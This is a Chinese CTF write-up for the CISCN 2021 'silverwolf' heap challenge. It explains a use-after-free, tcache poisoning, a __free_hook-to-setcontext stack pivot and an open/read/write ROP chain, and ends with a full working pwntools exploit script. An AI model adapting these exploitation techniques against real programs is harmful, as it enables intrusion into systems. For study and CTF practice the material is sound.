[CISCN 2021 初赛]silverwolf

最后更新于 2024-11-17 805 字 预计阅读时间: 4 分钟


好像以前打过了不过打得是栈,现在用setcontext打一遍

libc 2.27,沙盒只允许用orw。

看一下setcontext,在+53的位置存在mov rsp, [rdi+0A0h]可以控制rsp并且不会破坏栈空间,而free时rdi正好指向堆的地址,可以劫持__free_hook写入setcontext+53,劫持tcache_entry向0x40,0x50,0x60,0x70写入heap+0x2000,heap+0x20a0,heap+0x20a0+0x40,heap+0x20a0+0x40+0x50。

向heap+0x20a0,heap+0x20a0+0x40,heap+0x20a0+0x40+0x50写入heap+0x20a0+orw[0:0x40],orw[0x40:0x90],orw[0x90:]。add一个0x30的堆会得到heap+0x2000,free其会进入setcontext+53,将rsp指向heap+0x20a0进行orw。

由于沙盒的缘故,在bins里有很多堆,随便add一个再show即可得到堆地址,本题存在uaf,直接free后edit其fd指针指向tcache结构体,将counts填满free后得到libc地址后写入开头所述内容

add(0x78)
show()
p.recvuntil(b"Content: ")
heap=u64(p.recv(6).ljust(8,b"\x00"))-0x11B0
print(hex(heap))
edit(b"/flag\x00")
add(0x78)
free()
edit(p64(heap+0x10))
add(0x78)
add(0x78)
edit(p8(7)*0x40)
free()
show()
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3EBCA0
print(hex(libc_base))
edit(p8(0)*0x40 + p64(0)*0x2+p64(heap+0x2000)+p64(heap+0x20a0)+p64(heap+0x20a0+0x40)+p64(heap+0x20a0+0x40+0x50)+p64(free_hook))

构建orw

pop_rdi=libc_base+0x000000000002164f
pop_rcx=libc_base+0x000000000010c423
pop_rsi=libc_base+0x0000000000023a6a
pop_rdx=libc_base+0x0000000000001b96
flag=heap+0xe90
syscall=libc_base+libc.sym["syscall"]

orw=flat([
    heap+0x20a0,
    pop_rdi,2,
    pop_rsi,flag,
    pop_rdx,2,
    pop_rcx,0,
    syscall,

    pop_rdi,0,
    pop_rsi,3,
    pop_rdx,heap,
    pop_rcx,0x50,
    syscall,

    pop_rdi,1,
    pop_rsi,1,
    pop_rdx,heap,
    pop_rcx,0x50,
    syscall
])

写入

add(0x40)
edit(orw[0:0x40])
add(0x50)
edit(orw[0x40:0x90])
add(0x60)
edit(orw[0x90:])
add(0x78)
edit(p64(setcontext+53))

控制rsp

ret结束后进入orw

exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./silverwolf"
debug=1
if debug:
    p=process(filename)
    gdb.attach(p,"b *(setcontext+0x35)")
else:
    p=remote("node4.anna.nssctf.cn",28897)
#libc=ELF("./libc-2.23.so")
elf=ELF(filename)
context.arch=elf.arch
select=b"Your choice: "
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6")

def add(size,index=0):
    p.sendlineafter(select, b"1")
    p.sendlineafter(b"Index: ", str(index).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    #p.sendlineafter(b"Please input your things>", content)


def edit(content,index=0):
    p.sendlineafter(select, b"2")
    p.sendlineafter(b"Index: ", str(index).encode())
    #p.sendlineafter(b"input size", str(len(content)).encode())
    p.sendlineafter(b"Content: ", content)

def free(index=0):
    p.sendlineafter(select, b"4")
    p.sendlineafter(b"Index: ", str(index).encode())


def show(index=0):
    p.sendlineafter(select, b"3")
    p.sendlineafter(b"Index: ", str(index).encode())

add(0x78)
show()
p.recvuntil(b"Content: ")
heap=u64(p.recv(6).ljust(8,b"\x00"))-0x11B0
print(hex(heap))
edit(b"/flag\x00")
add(0x78)
free()
edit(p64(heap+0x10))
add(0x78)
add(0x78)
edit(p8(7)*0x40)
free()
show()
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3EBCA0
print(hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
setcontext=libc_base+libc.sym["setcontext"]
pop_rdi=libc_base+0x000000000002164f
pop_rcx=libc_base+0x000000000010c423
pop_rsi=libc_base+0x0000000000023a6a
pop_rdx=libc_base+0x0000000000001b96
flag=heap+0xe90
syscall=libc_base+libc.sym["syscall"]
edit(p8(0)*0x40 + p64(0)*0x2+p64(heap+0x2000)+p64(heap+0x20a0)+p64(heap+0x20a0+0x40)+p64(heap+0x20a0+0x40+0x50)+p64(free_hook))
orw=flat([
    heap+0x20a0,
    pop_rdi,2,
    pop_rsi,flag,
    pop_rdx,2,
    pop_rcx,0,
    syscall,

    pop_rdi,0,
    pop_rsi,3,
    pop_rdx,heap,
    pop_rcx,0x50,
    syscall,

    pop_rdi,1,
    pop_rsi,1,
    pop_rdx,heap,
    pop_rcx,0x50,
    syscall
])

add(0x40)
edit(orw[0:0x40])
add(0x50)
edit(orw[0x40:0x90])
add(0x60)
edit(orw[0x90:])
add(0x78)
edit(p64(setcontext+53))
add(0x30)
free()
#gdb.attach(proc.pidof(p)[0])
p.interactive()
此作者没有提供个人介绍。
最后更新于 2024-11-17